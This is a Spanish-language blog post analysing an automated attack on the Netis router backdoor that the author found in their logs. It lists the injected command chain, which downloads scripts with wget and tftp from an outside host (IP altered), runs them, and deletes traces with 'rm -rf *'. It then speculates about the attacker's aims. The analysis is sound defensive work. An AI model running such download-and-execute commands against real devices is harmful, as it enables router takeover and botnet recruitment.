En 2014 se descubrió una puerta trasera en los routers de marca Netis que permitía el acceso desde su interfaz WAN (normalmente accesible desde Internet).
Hace una semanas llegó un ataque de explotación de esta puerta trasera, así que vamos a analizarlo en esta entrada. Obviamente se trataba de un ataque automatizado ya que recorrió una a una las direcciones IP públicas y no tengo ningún router Netis.
Como entenderéis he modificado el payload y las direcciones IP para evitar que alguien pueda hacer un mal uso 😉 Indicar igualmente que el ataque fue el sábado noche y cuando el lunes lo intenté analizar resultó que la IP ya no contenía los archivos indicados en la instrucción, así que no pude analizarlos. Como curiosidad indicar que la IP a la que se hacía referencia estaba ubicada en Brooklyn (Nueva York, USA).
En la captura inferior podemos ver que la petición, en formato HTML, consta de una carga previa de información (esta cadena ya está modificada) para posteriormente indicar las acciones que debe realizar el router (sección en lila).
Sabemos que estos routers utilizan un sistema operativo Linux de base, así que revisemos las instrucciones (marcadas en lila) con un formato limpio (sin los caracteres de codificación HTML).
Instrucciones del atacante
Ahora que ya tenemos un formato más legible, recordando que en los sistemas Linux el símbolo punto y coma (;) permite separar instrucciones que se ejecutarán una detrás de otra veamos qué peticiones hace el atacante al router Netis:
- wget http://10.10.10.10/akc.sh
- sh akc.sh
- rm -rf ack.sh
- tftp -r nfz.sh -g 10.10.10.10
- sh nfz.sh
- tftp 10.10.10.10 -c get nig.sh
- sh nig.sh
- rm -rf nfz.sh nig.sh akc.sh
- rm -rf *
Como vemos el primer paso (1) es descargarse el fichero «akc.sh» desde un servidor externo mediante protocolo HTTP para después ejecutarlo (2) y borrar dicho archivo (3).
Posteriormente podemos ver como se descarga mediante tftp (4 y 6) y ejecuta dichos archivos (5 y 7). Es curioso ver cómo utiliza dos formatos de instrucción diferentes para bajarse los archivos. Igualmente resulta curioso que la descarga del primer archivo sea mediante el comando wget mientras que los siguientes se realicen mediante TFTP.
Una vez termina la ejecución elimina los tres archivos descargados (8), aunque se supone que akc.sh ya lo había borrado antes (3).
Finalmente borra todos los archivos que haya en la ubicación (9) y sus directorios eliminando cualquier archivo temporal que se haya podido crear y borrando totalmente sus huellas.
Análisis del ataque
Lamentablemente no pude hacerme con los scripts que se descargaba para analizarlos y ver qué hacían realmente, por lo que el análisis no puede ser más profundo y me tendré que conformar con las acciones indicadas en la propia URL.
El hecho de que utilice el comando wget para la primera descarga mientras que utilice tftp puede llevarnos a pensar que el primer script (akc.sh) realice la instalación del cliente tftp en el sistema. ¿Por qué sería preferible usar TFPT para el atacante para los siguientes scripts? Lo más probable es que la dirección IP desde donde se descargaba los scripts fuera un servidor web previamente infectado por lo que reduciendo el número de peticiones HTTP se reducen las trazas en los logs del servidor web que puedan descubrir la infección. Así que podría tratarse de un método para prolongar al máximo el uso de dicho servidor infectado.
Igualmente resulta extraño el uso de dos instrucciones diferentes (4 y 6) para descargar los scripts, lo cual nos llevaría a pensar que se ha reutilizado parte del código de otro script ya confeccionado previamente.
Cabe indicar que el orden de borrado de los scripts descargados es igualmente interesante: se preocupa de eliminar el primero de forma inmediata (3) mientras que los otros dos los deja para el final (8) e incluso lanza un borrado general del directorio (9). El hecho de que en la segunda instrucción de borrado (8) aparezca nuevamente el script akc.sh podría ser bien un fallo de diseño o bien un método para asegurarse el borrado de dicho script. Si pensamos que el atacante quiere asegurarse el borrado del script akc.sh debemos deducir que en dicho script se encuentra información que quiere asegurarse su eliminación (¿algún nombre de usuario o contraseña?).
Al no haber podido analizar los scripts que se descargaba no podemos ver qué acción realizaba el router (¿unirse a una botnet?¿crear otra puerta trasera controlada por el atacante?¿propagar el ataque desde el propio equipo?), si bien queda claro por la última instrucción de borrado completo del directorio (9) que dichos scripts y cualquier fichero temporal creado no son necesarios una vez ha terminado el ataque.
¿Qué creéis que pueden ser estos script?